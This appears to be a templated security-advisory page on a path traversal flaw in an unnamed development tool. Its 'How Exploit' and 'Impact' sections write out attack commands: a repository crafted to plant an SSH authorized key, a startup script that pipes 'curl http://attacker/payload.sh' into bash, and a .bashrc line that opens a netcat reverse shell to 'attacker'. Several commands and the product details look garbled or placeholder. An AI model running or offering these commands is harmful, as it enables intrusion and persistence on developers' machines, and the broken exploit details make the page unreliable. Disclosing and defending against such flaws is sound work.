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The vulnerability is a Path Traversal issue (CWE-22) where the product uses external input to construct a pathname intended to identify a file or directory underneath a restricted parent directory . The software fails to properly neutralize special elements within the pathname, such as `../` sequences, which can cause the pathname to resolve to a location outside of the restricted directory . An attacker can exploit this by crafting a malicious request that includes directory traversal sequences, breaking out of the intended projects directory . This allows the attacker to modify files elsewhere on the developer’s machine. By modifying critical files, the attacker can potentially inject and execute arbitrary code on the developer’s system . The core issue is the lack of input validation when constructing file paths based on user-controlled input . The attack is initiated remotely without requiring authentication, making it easily accessible . The impact is severe because it moves beyond simple file read to file modification, creating a direct path to remote code execution . The vulnerability is addressed in version 3.2.0 of the software. Until patched, users are advised to only pull scripts from trusted sources and to manually review the output of `pull` and `clone` commands to verify only expected files are modified.
DailyCVE Form:
Platform: Development tools
Version: Prior 3.2.0
Vulnerability : Path Traversal
Severity: Critical
date: 2024-11-15
Prediction: Patch 2024-12-15
What Undercode Say:
Analytics:
Simulate vulnerable path construction (Conceptual) VULN_PATH="/projects/user_input/../../etc/passwd" REAL_PATH=$(realpath -m "$VULN_PATH") echo "Vulnerable path resolves to: $REAL_PATH" Check for path traversal patterns in git operations git clone --verbose http://malicious-server/repo.git 2>&1 | grep -E "../|..\" Monitor filesystem changes outside project during pull inotifywait -m -r --format '%w%f' /projects/ 2>/dev/null & PID=$! git pull origin main kill $PID
How Exploit:
Craft malicious repository with symlink or traversal mkdir malicious-repo && cd malicious-repo git init mkdir -p "project/../../../../home/developer/.ssh" echo "malicious-key" > "project/../../../../home/developer/.ssh/authorized_keys" git add . git commit -m "malicious update" git push origin main Attacker tricks developer to clone git clone http://attacker-server/malicious-repo.git
Protection from this CVE:
Upgrade to patched version
pip install --upgrade vulnerable-tool==3.2.0
Implement input validation in code
if ".." in user_input or user_input.startswith("/"):
raise ValueError("Invalid path")
Use path sanitization in Python
import os
SAFE_BASE = "/projects/"
user_path = "../../etc/passwd"
abs_path = os.path.abspath(os.path.join(SAFE_BASE, user_path))
if not abs_path.startswith(SAFE_BASE):
print("Path traversal blocked")
Impact:
Attacker achieves RCE by modifying startup scripts echo "!/bin/bash" > /projects/../../usr/local/bin/startup.sh echo "curl http://attacker/payload.sh | bash" >> /usr/local/bin/startup.sh chmod +x /usr/local/bin/startup.sh Next reboot executes attacker code Or modify .bashrc for persistence echo "nc -e /bin/bash attacker 4444" >> /projects/../../home/developer/.bashrc
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Sources:
Reported By: github.com
Extra Source Hub:
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